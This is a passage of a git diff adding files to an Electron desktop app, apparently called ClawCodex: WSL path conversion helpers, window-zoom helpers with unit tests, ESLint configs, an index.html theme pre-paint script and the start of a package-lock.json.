+    cachedDistro = parseDefaultDistro(out) || 'Ubuntu'
+  } catch {
+    cachedDistro = 'Ubuntu'
+  }
+
+  return cachedDistro
+}
+
+// `\\wsl.localhost\<distro>` (Win11 / Win10 >= 21364) with a `\\wsl$\<distro>`
+// fallback for older builds. Probed once; defaults to wsl.localhost.
+function wslUncBase(distro: string): string {
+  if (cachedUncBase) {
+    return cachedUncBase
+  }
+
+  const modern = `\\\\wsl.localhost\\${distro}`
+  const legacy = `\\\\wsl$\\${distro}`
+
+  try {
+    if (!fs.existsSync(modern) && fs.existsSync(legacy)) {
+      cachedUncBase = legacy
+
+      return cachedUncBase
+    }
+  } catch {
+    // Network-path probe failed — prefer the modern form.
+  }
+
+  cachedUncBase = modern
+
+  return cachedUncBase
+}
+
+/**
+ * A WSL/POSIX path → a path the Windows host can open: `/mnt/c/...` → `C:\...`
+ * (drvfs mount), any other absolute POSIX path → `\\wsl.localhost\<distro>\...`.
+ * Non-absolute or already-Windows paths pass through.
+ */
+export function wslPosixToWindowsAccessible(posixPath: string, distro: string = resolveDefaultWslDistro()): string {
+  const value = String(posixPath || '').trim()
+  const normalized = value.replace(/\\/g, '/')
+
+  if (!normalized.startsWith('/')) {
+    return value
+  }
+
+  const mount = normalized.match(WSL_MOUNT_RE)
+
+  if (mount) {
+    const tail = (mount[2] || '').replace(/\//g, '\\')
+
+    return tail ? `${mount[1].toUpperCase()}:\\${tail}` : `${mount[1].toUpperCase()}:\\`
+  }
+
+  const relative = normalized.replace(/^\/+/, '').replace(/\//g, '\\')
+
+  return `${wslUncBase(distro)}\\${relative}`
+}
+
+/** Native folder dialog `defaultPath`: open a WSL cwd in the Windows picker. */
+export function resolvePickerDefaultPath(
+  defaultPath: string | undefined,
+  distro: string = resolveDefaultWslDistro()
+): string | undefined {
+  if (!defaultPath) {
+    return undefined
+  }
+
+  const value = String(defaultPath).trim()
+
+  return value.startsWith('/') && !WIN_DRIVE_RE.test(value) ? wslPosixToWindowsAccessible(value, distro) : defaultPath
+}
+
+/** fs read path: on Windows, make a WSL cwd readable via its UNC / drive form. */
+export function resolveLocalReadPath(dirPath: string, distro: string = resolveDefaultWslDistro()): string {
+  const value = String(dirPath || '').trim()
+
+  return IS_WINDOWS && value.startsWith('/') && !WIN_DRIVE_RE.test(value)
+    ? wslPosixToWindowsAccessible(value, distro)
+    : value
+}
diff --git a/ui-desktop/electron/zoom.test.ts b/ui-desktop/electron/zoom.test.ts
new file mode 100644
index 000000000..0d34fdb01
--- /dev/null
+++ b/ui-desktop/electron/zoom.test.ts
@@ -0,0 +1,221 @@
+/**
+ * Unit tests for the pure zoom helpers: clamping garbage input, the
+ * percent <-> zoom-level conversion the settings UI relies on, and the
+ * roundtrip stability of the preset percentages.
+ */
+
+import assert from 'node:assert/strict'
+
+import { test, vi } from 'vitest'
+
+import {
+  applyZoomLevel,
+  clampZoomLevel,
+  DEFAULT_ZOOM_LEVEL,
+  installZoomReassertOnWindowEvents,
+  percentToZoomLevel,
+  ZOOM_RESIZE_REASSERT_DELAY_MS,
+  ZOOM_STEP,
+  ZOOM_STORAGE_KEY,
+  zoomLevelToPercent,
+  zoomReassertWindowEvents,
+  zoomWiringForWindowKind
+} from './zoom'
+
+test('storage key stays stable so persisted zoom survives upgrades', () => {
+  assert.equal(ZOOM_STORAGE_KEY, 'clawcodex:desktop:zoomLevel')
+})
+
+test('default zoom matches the Appearance 90% preset', () => {
+  assert.equal(ZOOM_STEP, 0.1)
+  assert.equal(zoomLevelToPercent(DEFAULT_ZOOM_LEVEL), 90)
+  assert.equal(DEFAULT_ZOOM_LEVEL, percentToZoomLevel(90))
+})
+
+test('clampZoomLevel rejects garbage and enforces bounds', () => {
+  assert.equal(clampZoomLevel(NaN), DEFAULT_ZOOM_LEVEL)
+  assert.equal(clampZoomLevel(Infinity), DEFAULT_ZOOM_LEVEL)
+  assert.equal(clampZoomLevel(undefined), DEFAULT_ZOOM_LEVEL)
+  assert.equal(clampZoomLevel('2'), DEFAULT_ZOOM_LEVEL)
+  assert.equal(clampZoomLevel(0.3), 0.3)
+  assert.equal(clampZoomLevel(-42), -9)
+  assert.equal(clampZoomLevel(42), 9)
+})
+
+test('level 0 is exactly 100 percent (Chromium actual-size baseline)', () => {
+  assert.equal(zoomLevelToPercent(0), 100)
+  assert.equal(percentToZoomLevel(100), 0)
+})
+
+test('percentToZoomLevel rejects garbage by falling back to the shipped default', () => {
+  assert.equal(percentToZoomLevel(NaN), DEFAULT_ZOOM_LEVEL)
+  assert.equal(percentToZoomLevel(0), DEFAULT_ZOOM_LEVEL)
+  assert.equal(percentToZoomLevel(-50), DEFAULT_ZOOM_LEVEL)
+  assert.equal(percentToZoomLevel(undefined), DEFAULT_ZOOM_LEVEL)
+})
+
+test('preset percentages roundtrip within rounding', () => {
+  for (const percent of [90, 100, 110, 125, 150, 175]) {
+    assert.equal(zoomLevelToPercent(percentToZoomLevel(percent)), percent)
+  }
+})
+
+test('conversion is monotonic across the preset range', () => {
+  const levels = [90, 100, 110, 125, 150, 175].map(percentToZoomLevel)
+
+  for (let i = 1; i < levels.length; i++) {
+    assert.ok(levels[i] > levels[i - 1])
+  }
+})
+
+test('extreme percentages clamp to the level bounds', () => {
+  assert.equal(percentToZoomLevel(1), -9)
+  assert.equal(percentToZoomLevel(1_000_000), 9)
+})
+
+test('installZoomReassertOnWindowEvents wires show, restore, resize, and cross-display moves on macOS and Windows', () => {
+  const handlers = new Map()
+
+  const win = {
+    isDestroyed: () => false,
+    on(event, listener) {
+      handlers.set(event, listener)
+    }
+  }
+
+  let calls = 0
+  installZoomReassertOnWindowEvents(
+    win,
+    () => {
+      calls += 1
+    },
+    'win32'
+  )
+
+  assert.deepEqual([...handlers.keys()], zoomReassertWindowEvents('win32'))
+  handlers.get('show')()
+  handlers.get('restore')()
+  handlers.get('resized')()
+  handlers.get('moved')()
+  assert.equal(calls, 4)
+})
+
+test('installZoomReassertOnWindowEvents debounces Linux resize and move events at the trailing edge', () => {
+  vi.useFakeTimers()
+
+  try {
+    const handlers = new Map()
+    let destroyed = false
+
+    const win = {
+      isDestroyed: () => destroyed,
+      on(event, listener) {
+        handlers.set(event, listener)
+      }
+    }
+
+    let calls = 0
+
+    installZoomReassertOnWindowEvents(
+      win,
+      () => {
+        calls += 1
+      },
+      'linux'
+    )
+
+    assert.deepEqual([...handlers.keys()], zoomReassertWindowEvents('linux'))
+    handlers.get('resize')()
+    vi.advanceTimersByTime(ZOOM_RESIZE_REASSERT_DELAY_MS / 2)
+    handlers.get('move')()
+    vi.advanceTimersByTime(ZOOM_RESIZE_REASSERT_DELAY_MS / 2)
+    assert.equal(calls, 0)
+    vi.advanceTimersByTime(ZOOM_RESIZE_REASSERT_DELAY_MS / 2)
+    assert.equal(calls, 1)
+
+    handlers.get('resize')()
+    destroyed = true
+    vi.advanceTimersByTime(ZOOM_RESIZE_REASSERT_DELAY_MS)
+    assert.equal(calls, 1)
+  } finally {
+    vi.useRealTimers()
+  }
+})
+
+test('installZoomReassertOnWindowEvents skips destroyed windows', () => {
+  const handlers = new Map()
+  let destroyed = false
+
+  const win = {
+    isDestroyed: () => destroyed,
+    on(event, listener) {
+      handlers.set(event, listener)
+    }
+  }
+
+  let calls = 0
+  installZoomReassertOnWindowEvents(win, () => {
+    calls += 1
+  })
+  destroyed = true
+  handlers.get('show')()
+  assert.equal(calls, 0)
+})
+
+// Zoom-wiring contract: chat windows keep global UI zoom while fixed-size
+// helper windows opt out. Tested via the extracted config — no source-text regex.
+test('chat windows opt into zoom', () => {
+  assert.deepEqual(zoomWiringForWindowKind('chat'), { zoom: true })
+})
+
+test('pet overlay opts out of zoom', () => {
+  assert.deepEqual(zoomWiringForWindowKind('petOverlay'), { zoom: false })
+})
+
+test('wake indicator opts out of zoom', () => {
+  assert.deepEqual(zoomWiringForWindowKind('wakeIndicator'), { zoom: false })
+})
+
+test('unknown window kinds default to chat (zoom enabled)', () => {
+  assert.deepEqual(zoomWiringForWindowKind('unknown'), { zoom: true })
+  assert.deepEqual(zoomWiringForWindowKind(undefined), { zoom: true })
+})
+
+// The UI Scale settings control drifts out of sync after a restart when zoom
+// is applied to the window but the renderer is never told: its $zoomPercent
+// store (see store/zoom.ts) only updates from zoom.get() (once, on load) and
+// 'clawcodex:zoom:changed' events. applyZoomLevel is the single funnel every zoom
+// path (user set, restore-on-load, lifecycle re-assert) shares, so applying a
+// level always notifies — the regression can't come back by forgetting a send.
+function fakeWebContents() {
+  const calls: Array<[string, ...unknown[]]> = []
+
+  return {
+    calls,
+    setZoomLevel: (level: number) => calls.push(['setZoomLevel', level]),
+    send: (channel: string, payload: unknown) => calls.push(['send', channel, payload])
+  }
+}
+
+test('applyZoomLevel applies the level then notifies the renderer', () => {
+  const wc = fakeWebContents()
+  const applied = applyZoomLevel(wc, 3)
+
+  assert.equal(applied, 3)
+  assert.deepEqual(wc.calls, [
+    ['setZoomLevel', 3],
+    ['send', 'clawcodex:zoom:changed', { level: 3, percent: zoomLevelToPercent(3) }]
+  ])
+})
+
+test('applyZoomLevel clamps garbage before applying and notifying', () => {
+  const wc = fakeWebContents()
+  const applied = applyZoomLevel(wc, 999)
+  const clamped = clampZoomLevel(999)
+
+  assert.equal(applied, clamped)
+  assert.deepEqual(wc.calls, [
+    ['setZoomLevel', clamped],
+    ['send', 'clawcodex:zoom:changed', { level: clamped, percent: zoomLevelToPercent(clamped) }]
+  ])
+})
diff --git a/ui-desktop/electron/zoom.ts b/ui-desktop/electron/zoom.ts
new file mode 100644
index 000000000..7b8595423
--- /dev/null
+++ b/ui-desktop/electron/zoom.ts
@@ -0,0 +1,117 @@
+/**
+ * Pure helpers for window zoom. The main process owns webContents.setZoomLevel,
+ * so the menu items, the Ctrl/Cmd shortcuts, and the settings UI all funnel
+ * through this one clamped scale. Percent is the user-facing unit (100 = the
+ * Chromium actual-size baseline); Chromium's internal unit is the zoom level,
+ * where factor = 1.2 ^ level.
+ *
+ * Our shipped default is the Appearance 90% preset — tight enough to feel
+ * denser than Chromium 100%, and selected in the UI Scale control on first run.
+ */
+
+export const ZOOM_STORAGE_KEY = 'clawcodex:desktop:zoomLevel'
+
+const ZOOM_FACTOR_BASE = 1.2
+const MIN_ZOOM_LEVEL = -9
+const MAX_ZOOM_LEVEL = 9
+
+/** Half Chromium's default step; matching the shortcuts and View menu. */
+export const ZOOM_STEP = 0.1
+
+/** Appearance 90% preset. Fresh installs + Actual Size / Ctrl+0. */
+export const DEFAULT_ZOOM_LEVEL = Math.log(0.9) / Math.log(ZOOM_FACTOR_BASE)
+
+export function clampZoomLevel(value) {
+  if (!Number.isFinite(value)) {
+    return DEFAULT_ZOOM_LEVEL
+  }
+
+  return Math.min(Math.max(value, MIN_ZOOM_LEVEL), MAX_ZOOM_LEVEL)
+}
+
+export function zoomLevelToPercent(level) {
+  return Math.round(Math.pow(ZOOM_FACTOR_BASE, clampZoomLevel(level)) * 100)
+}
+
+export function percentToZoomLevel(percent) {
+  if (!Number.isFinite(percent) || percent <= 0) {
+    return DEFAULT_ZOOM_LEVEL
+  }
+
+  return clampZoomLevel(Math.log(percent / 100) / Math.log(ZOOM_FACTOR_BASE))
+}
+
+/**
+ * Apply a clamped zoom level to a webContents AND notify the renderer, in that
+ * order. Every path that changes zoom (user action, restore-on-load, lifecycle
+ * re-assert) funnels through here so the settings UI Scale control can never
+ * drift from the actually-applied level — the bug where restore set the level
+ * but forgot to emit 'clawcodex:zoom:changed', leaving the control stuck at 100%.
+ * Returns the clamped level so callers can persist it.
+ */
+export function applyZoomLevel(webContents, level) {
+  const clamped = clampZoomLevel(level)
+  webContents.setZoomLevel(clamped)
+  webContents.send('clawcodex:zoom:changed', { level: clamped, percent: zoomLevelToPercent(clamped) })
+
+  return clamped
+}
+
+// Chromium can drop webContents zoom when a BrowserWindow is resized, minimized
+// and restored, or crosses onto a monitor with different display scaling. macOS
+// and Windows provide trailing `resized`/`moved` events; Linux only provides the
+// noisy `resize`/`move` pair, so debounce those fallbacks before re-applying the
+// persisted level.
+export const ZOOM_RESIZE_REASSERT_DELAY_MS = 100
+
+export function zoomReassertWindowEvents(platform = process.platform) {
+  return platform === 'linux' ? ['show', 'restore', 'resize', 'move'] : ['show', 'restore', 'resized', 'moved']
+}
+
+export function installZoomReassertOnWindowEvents(win, reassert, platform = process.platform) {
+  if (!win?.on) {
+    return
+  }
+
+  let resizeTimer
+
+  for (const event of zoomReassertWindowEvents(platform)) {
+    win.on(event, () => {
+      if (win.isDestroyed?.()) {
+        return
+      }
+
+      if (event !== 'resize' && event !== 'move') {
+        reassert()
+
+        return
+      }
+
+      clearTimeout(resizeTimer)
+      resizeTimer = setTimeout(() => {
+        if (!win.isDestroyed?.()) {
+          reassert()
+        }
+      }, ZOOM_RESIZE_REASSERT_DELAY_MS)
+    })
+  }
+}
+
+/**
+ * Zoom-wiring decision per window kind. Chat windows (main + session) keep
+ * global UI zoom; the pet overlay and the Quick Entry composer opt out because
+ * they size their own OS window and inheriting zoom would crop/overflow them.
+ *
+ * Extracted so the "helper windows opt out, everything else opts in" contract is
+ * unit-testable without booting a BrowserWindow or reading source.
+ */
+export const ZOOM_WINDOW_CONFIG = {
+  chat: { zoom: true },
+  petOverlay: { zoom: false },
+  quickEntry: { zoom: false },
+  wakeIndicator: { zoom: false }
+} as const
+
+export function zoomWiringForWindowKind(kind) {
+  return ZOOM_WINDOW_CONFIG[kind] ?? ZOOM_WINDOW_CONFIG.chat
+}
diff --git a/ui-desktop/eslint.config.mjs b/ui-desktop/eslint.config.mjs
new file mode 100644
index 000000000..9e176f171
--- /dev/null
+++ b/ui-desktop/eslint.config.mjs
@@ -0,0 +1,81 @@
+import shared from './eslint.config.shared.mjs'
+import globals from 'globals'
+
+export default [
+  ...shared,
+  {
+    // Desktop is an Electron renderer — it legitimately uses browser globals
+    // (window, document, etc). Re-add them here; the shared config omits
+    // globals.browser so terminal-only workspaces (ui-tui) don't get them.
+    files: ['**/*.{ts,tsx}'],
+    languageOptions: {
+      globals: {
+        ...globals.browser,
+        ...globals.node
+      }
+    }
+  },
+  {
+    // THE PLUGIN FENCE: plugins speak @clawcodex/plugin-sdk (+ react), never `@/…`
+    // internals — the same isolation a runtime-fetched published plugin gets,
+    // enforced on bundled ones so the SDK surface stays honest and sufficient.
+    files: ['src/plugins/**/*.{ts,tsx}'],
+    rules: {
+      'no-restricted-imports': [
+        'error',
+        {
+          patterns: [
+            {
+              group: ['@/*', '../*', '@clawcodex/shared'],
+              message: 'Plugins import only @clawcodex/plugin-sdk (and react). Missing something? Add it to the SDK.'
+            }
+          ]
+        }
+      ]
+    }
+  },
+  {
+    files: ['**/*.test.tsx'],
+    rules: {
+      'no-restricted-globals': ['warn', 'document']
+    }
+  },
+  {
+    // Ban mirroring reactive values into refs via useEffect — the "atom-mirrored
+    // ref" antipattern. A ref synced from a nanostores atom via useEffect lags the
+    // atom by one render, which creates stale-read bugs in callbacks that read the
+    // ref (cancelRun sent session.interrupt to the wrong session; steerPrompt,
+    // restoreToMessage, editMessage all had closure-priority stale reads). The fix
+    // is to read $atom.get() directly in callbacks instead. This rule catches the
+    // mirroring effect at lint time so the pattern can't reappear. Legitimate
+    // non-atom ref writes inside useEffect (DOM instance refs, mount flags, request
+    // tokens, prop mirrors) get an eslint-disable-next-line with a comment.
+    files: ['src/**/*.{ts,tsx}'],
+    rules: {
+      'no-restricted-syntax': [
+        'error',
+        {
+          // useEffect(() => { someRef.current = value }, [value])
+          selector:
+            'CallExpression[callee.name="useEffect"] > ArrowFunctionExpression[body.type="AssignmentExpression"][body.left.type="MemberExpression"][body.left.property.name="current"]',
+          message:
+            'Do not mirror reactive values into refs via useEffect. Read $atom.get() directly in callbacks instead — refs synced from atoms lag one render and cause stale-read bugs.'
+        },
+        {
+          // useEffect(() => { someRef.current = value; ... }, [value])
+          selector:
+            'CallExpression[callee.name="useEffect"] > ArrowFunctionExpression[body.type="BlockStatement"]:has(AssignmentExpression[left.type="MemberExpression"][left.property.name="current"])',
+          message:
+            'Do not mirror reactive values into refs via useEffect. Read $atom.get() directly in callbacks instead — refs synced from atoms lag one render and cause stale-read bugs.'
+        },
+        {
+          // useEffect(() => { setMutableRef(ref, value) }, [value])
+          selector:
+            'CallExpression[callee.name="useEffect"] > ArrowFunctionExpression[body.type="BlockStatement"]:has(CallExpression[callee.name="setMutableRef"])',
+          message:
+            'Do not mirror reactive values into refs via useEffect (setMutableRef included). Read $atom.get() directly in callbacks instead — refs synced from atoms lag one render and cause stale-read bugs.'
+        }
+      ]
+    }
+  }
+]
diff --git a/ui-desktop/eslint.config.shared.mjs b/ui-desktop/eslint.config.shared.mjs
new file mode 100644
index 000000000..4f889596c
--- /dev/null
+++ b/ui-desktop/eslint.config.shared.mjs
@@ -0,0 +1,106 @@
+/**
+ * Shared ESLint flat config for all ClawCodex TS workspaces.
+ *
+ * Usage in a workspace's eslint.config.mjs:
+ *
+ *   import config from '../../eslint.config.shared.mjs'
+ *
+ *   export default [
+ *     ...config,
+ *     // workspace-specific overrides here
+ *   ]
+ */
+
+import js from '@eslint/js'
+import tseslint from 'typescript-eslint';
+import perfectionist from 'eslint-plugin-perfectionist'
+import hooksPlugin from 'eslint-plugin-react-hooks'
+import unusedImports from 'eslint-plugin-unused-imports'
+import globals from 'globals'
+
+export default [
+  {
+    ignores: ['**/node_modules/**', '**/dist/**', 'src/**/*.js', '**/package-lock.json']
+  },
+  js.configs.recommended,
+  {
+    files: ['**/*.{ts,tsx}'],
+    languageOptions: {
+      globals: {
+        ...globals.node
+      },
+      parser: tseslint.parser,
+      parserOptions: {
+        ecmaFeatures: { jsx: true },
+        ecmaVersion: 'latest',
+        sourceType: 'module'
+      }
+    },
+    plugins: {
+      '@typescript-eslint': tseslint.plugin,
+      perfectionist,
+      'react-hooks': hooksPlugin,
+      'unused-imports': unusedImports
+    },
+    rules: {
+      '@typescript-eslint/consistent-type-imports': ['error', { prefer: 'type-imports' }],
+      '@typescript-eslint/no-unused-vars': 'off',
+      curly: ['error', 'all'],
+      'no-fallthrough': ['error', { allowEmptyCase: true }],
+      'no-undef': 'off',
+      'no-unused-vars': 'off',
+      'padding-line-between-statements': [
+        1,
+        {
+          blankLine: 'always',
+          next: [
+            'block-like',
+            'block',
+            'return',
+            'if',
+            'class',
+            'continue',
+            'debugger',
+            'break',
+            'multiline-const',
+            'multiline-let'
+          ],
+          prev: '*'
+        },
+        {
+          blankLine: 'always',
+          next: '*',
+          prev: ['case', 'default', 'multiline-const', 'multiline-let', 'multiline-block-like']
+        },
+        { blankLine: 'never', next: ['block', 'block-like'], prev: ['case', 'default'] },
+        { blankLine: 'always', next: ['block', 'block-like'], prev: ['block', 'block-like'] },
+        { blankLine: 'always', next: ['empty'], prev: 'export' },
+        { blankLine: 'never', next: 'iife', prev: ['block', 'block-like', 'empty'] }
+      ],
+      'perfectionist/sort-exports': ['error', { order: 'asc', type: 'natural' }],
+      'perfectionist/sort-imports': [
+        'error',
+        {
+          groups: ['side-effect', 'builtin', 'external', 'internal', 'parent', 'sibling', 'index'],
+          order: 'asc',
+          type: 'natural'
+        }
+      ],
+      'perfectionist/sort-jsx-props': ['error', { order: 'asc', type: 'natural' }],
+      'perfectionist/sort-named-exports': ['error', { order: 'asc', type: 'natural' }],
+      'perfectionist/sort-named-imports': ['error', { order: 'asc', type: 'natural' }],
+      'react-hooks/exhaustive-deps': 'warn',
+      'react-hooks/rules-of-hooks': 'error',
+      'unused-imports/no-unused-imports': 'error'
+    }
+  },
+  {
+    files: ['**/*.js', '**/*.cjs', '**/*.mjs'],
+    ignores: ['**/node_modules/**', '**/dist/**'],
+    languageOptions: {
+      ecmaVersion: 'latest',
+      globals: { ...globals.node },
+      sourceType: 'module'
+    }
+  }
+]
diff --git a/ui-desktop/index.html b/ui-desktop/index.html
new file mode 100644
index 000000000..bd50cef5a
--- /dev/null
+++ b/ui-desktop/index.html
@@ -0,0 +1,39 @@
+<!doctype html>
+<html lang="en">
+  <head>
+    <meta charset="UTF-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <meta name="color-scheme" content="light dark" />
+    <meta name="theme-color" content="#0a0a0a" />
+    <link rel="icon" type="image/png" sizes="180x180" href="/apple-touch-icon.png" />
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
+    <link rel="shortcut icon" href="/apple-touch-icon.png" />
+    <title>ClawCodex</title>
+    <script>
+      // Pre-paint the themed background before the app bundle loads. Without
+      // this, the first frame (which is what `ready-to-show` waits for) is the
+      // UA-default white page, and the real theme only lands once the whole
+      // module graph has executed — i.e. the "white flash" on every new
+      // window. applyTheme() in src/themes/context.tsx keeps these keys fresh.
+      try {
+        let bg = localStorage.getItem('clawcodex-boot-background')
+        let scheme = localStorage.getItem('clawcodex-boot-color-scheme')
+        if (!bg) {
+          const dark = window.matchMedia('(prefers-color-scheme: dark)').matches
+          bg = dark ? '#111111' : '#f7f7f7'
+          scheme = dark ? 'dark' : 'light'
+        }
+        document.documentElement.style.backgroundColor = bg
+        if (scheme === 'dark' || scheme === 'light') {
+          document.documentElement.style.colorScheme = scheme
+        }
+      } catch {
+        // localStorage unavailable — keep UA defaults.
+      }
+    </script>
+  </head>
+  <body>
+    <div id="root" class="scrollbar-dt"></div>
+    <script type="module" src="/src/main.tsx"></script>
+  </body>
+</html>
diff --git a/ui-desktop/package-lock.json b/ui-desktop/package-lock.json
new file mode 100644
index 000000000..800a37d98
--- /dev/null
+++ b/ui-desktop/package-lock.json
@@ -0,0 +1,17078 @@
+{
+  "name": "clawcodex-desktop",
+  "version": "0.17.0",
+  "lockfileVersion": 3,
+  "requires": true,
+  "packages": {
+    "": {
+      "name": "clawcodex-desktop",
+      "version": "0.17.0",
+      "dependencies": {
+        "@assistant-ui/core": "0.2.23",
+        "@assistant-ui/react": "0.14.24",
+        "@assistant-ui/react-streamdown": "0.3.5",
+        "@audiowave/react": "0.6.2",
+        "@chenglou/pretext": "0.0.6",
+        "@clawcodex/shared": "file:./packages/shared",
+        "@codemirror/commands": "6.10.4",
+        "@codemirror/language": "6.12.4",
+        "@codemirror/language-data": "6.5.2",
+        "@codemirror/state": "6.7.1",
+        "@codemirror/view": "6.43.6",
+        "@dnd-kit/core": "6.3.1",
+        "@dnd-kit/sortable": "10.0.0",
+        "@dnd-kit/utilities": "3.2.2",
+        "@icons-pack/react-simple-icons": "13.11.1",
+        "@lezer/highlight": "1.2.3",
+        "@nanostores/react": "1.1.0",
+        "@nous-research/ui": "0.18.2",
+        "@streamdown/code": "1.1.1",
+        "@tabler/icons-react": "3.44.0",
+        "@tailwindcss/typography": "0.5.20",
+        "@tailwindcss/vite": "4.3.3",
+        "@tanstack/react-query": "5.101.2",
+        "@tanstack/react-virtual": "3.14.6",
+        "@vscode/codicons": "0.0.45",
+        "@xterm/addon-fit": "0.11.0",
+        "@xterm/addon-serialize": "0.14.0",
+        "@xterm/addon-unicode11": "0.9.0",
+        "@xterm/addon-web-links": "0.12.0",
+        "@xterm/addon-webgl": "0.19.0",
+        "@xterm/xterm": "6.0.0",
+        "class-variance-authority": "0.7.1",
+        "clsx": "2.1.1",
+        "cmdk": "1.1.1",
+        "d3-force": "3.0.0",
+        "dnd-core": "14.0.1",
+        "dompurify": "3.4.12",
+        "emojibase-data": "16.0.3",
+        "fflate": "0.8.3",
+        "frimousse": "0.3.0",
+        "hast-util-from-html-isomorphic": "2.0.0",
+        "hast-util-to-text": "4.0.2",
+        "ignore": "7.0.6",
+        "katex": "0.16.47",
+        "mermaid": "11.16.0",
+        "motion": "12.42.2",
+        "nanostores": "1.4.0",
+        "node-pty": "1.1.0",
+        "radix-ui": "1.6.7",
+        "react": "19.2.7",
+        "react-arborist": "3.13.2",
+        "react-dnd-html5-backend": "14.1.0",
+        "react-dom": "19.2.7",
+        "react-router": "8.3.0",
+        "react-shiki": "0.9.3",
+        "remark-math": "6.0.0",
+        "remend": "1.3.0",
+        "shiki": "4.3.1",
+        "simple-git": "3.36.0",
+        "streamdown": "2.5.0",
+        "tailwind-merge": "3.6.0",
+        "tailwindcss": "4.3.3",
+        "tw-shimmer": "0.4.12",
+        "unicode-animations": "1.0.3",
+        "unified": "11.0.5",
+        "unist-util-visit-parents": "6.0.2",
+        "use-stick-to-bottom": "1.1.6",
+        "vfile": "6.0.3",
+        "web-haptics": "0.0.6"
+      },
+      "devDependencies": {
+        "@electron/rebuild": "4.2.0",
+        "@eslint/js": "9.39.5",
+        "@playwright/test": "1.58.2",
+        "@testing-library/dom": "10.4.1",
+        "@testing-library/react": "16.3.2",
+        "@types/d3-force": "3.0.10",
+        "@types/hast": "3.0.5",
+        "@types/node": "22.20.1",
+        "@types/react": "19.2.17",
+        "@types/react-dom": "19.2.3",
+        "@vitejs/plugin-react": "6.0.3",
+        "bippy": "0.5.43",
+        "concurrently": "10.0.4",
+        "cross-env": "10.1.0",
+        "electron": "40.10.2",
+        "electron-builder": "26.15.3",
+        "esbuild": "0.28.1",
+        "eslint": "9.39.5",
+        "eslint-plugin-perfectionist": "5.10.0",
+        "eslint-plugin-react-hooks": "7.1.1",
+        "eslint-plugin-unused-imports": "4.4.1",
+        "globals": "17.7.0",
+        "jsdom": "29.1.1",
+        "prettier": "3.9.5",
+        "rcedit": "5.0.2",
+        "tsx": "4.23.1",
+        "typescript": "6.0.3",
+        "typescript-eslint": "8.64.0",
+        "vite": "8.2.0",
+        "vitest": "4.1.10",
+        "wait-on": "9.0.10"
+      },
+      "engines": {
+        "node": ">=22.22.0"
+      }
+    },
+    "node_modules/@antfu/install-pkg": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@antfu/install-pkg/-/install-pkg-1.1.0.tgz",
+      "integrity": "sha512-MGQsmw10ZyI+EJo45CdSER4zEb+p31LpDAFp2Z3gkSd1yqVZGi0Ebx++YTEMonJy4oChEMLsxZ64j8FH6sSqtQ==",
+      "license": "MIT",
+      "dependencies": {
+        "package-manager-detector": "^1.3.0",
+        "tinyexec": "^1.0.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/antfu"
+      }
+    },
+    "node_modules/@asamuzakjp/css-color": {
+      "version": "5.1.11",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-5.1.11.tgz",
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+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@asamuzakjp/generational-cache": "^1.0.1",
+        "@csstools/css-calc": "^3.2.0",
+        "@csstools/css-color-parser": "^4.1.0",
+        "@csstools/css-parser-algorithms": "^4.0.0",
+        "@csstools/css-tokenizer": "^4.0.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/@asamuzakjp/dom-selector": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/dom-selector/-/dom-selector-7.1.1.tgz",
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+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@asamuzakjp/generational-cache": "^1.0.1",
+        "@asamuzakjp/nwsapi": "^2.3.9",
+        "bidi-js": "^1.0.3",
+        "css-tree": "^3.2.1",
+        "is-potential-custom-element-name": "^1.0.1"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/@asamuzakjp/generational-cache": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/generational-cache/-/generational-cache-1.0.1.tgz",
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+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/@asamuzakjp/nwsapi": {
+      "version": "2.3.9",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/nwsapi/-/nwsapi-2.3.9.tgz",
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+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@assistant-ui/core": {
+      "version": "0.2.23",
+      "resolved": "https://registry.npmjs.org/@assistant-ui/core/-/core-0.2.23.tgz",
+      "integrity": "sha512-mD/sWrdH4SF1POxWE0Wn8jrxOSnuGOJfj8j5coDuEtdtoevQT3Z8LzD5mkd2UdyXHIkwFsMb3/vIL1kH8XKyGg==",
+      "license": "MIT",
+      "dependencies": {
+        "assistant-stream": "^0.3.28",
+        "nanoid": "^6.0.0"
+      },
+      "peerDependencies": {
+        "@assistant-ui/store": "^0.2.13",
+        "@assistant-ui/tap": "^0.9.0",
+        "@types/react": "*",
+        "assistant-cloud": "^0.1.31",
+        "react": "^18 || ^19",
+        "zustand": "^5.0.11"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
+          "optional": true
+        },
+        "assistant-cloud": {
+          "optional": true
+        },
+        "react": {
+          "optional": true
+        },
+        "zustand": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@assistant-ui/react": {
+      "version": "0.14.24",
+      "resolved": "https://registry.npmjs.org/@assistant-ui/react/-/react-0.14.24.tgz",
+      "integrity": "sha512-DHUEbJfn3EeApiLXJp6pZfwzGUwQ7aAoGeUfs8bmo1G9uAkRlxF1RKr7MwM/oVSUt+ixSsfWey+OuHJi5gtKCQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@assistant-ui/core": "^0.2.19",
+        "@assistant-ui/store": "^0.2.19",
+        "@assistant-ui/tap": "^0.9.3",
+        "@radix-ui/primitive": "^1.1.4",
+        "@radix-ui/react-compose-refs": "^1.1.3",
+        "@radix-ui/react-context": "^1.1.4",
+        "@radix-ui/react-primitive": "^2.1.6",
+        "@radix-ui/react-use-callback-ref": "^1.1.2",
+        "@radix-ui/react-use-escape-keydown": "^1.1.2",
+        "assistant-cloud": "^0.1.34",
+        "assistant-stream": "^0.3.24",
+        "nanoid": "^5.1.15",
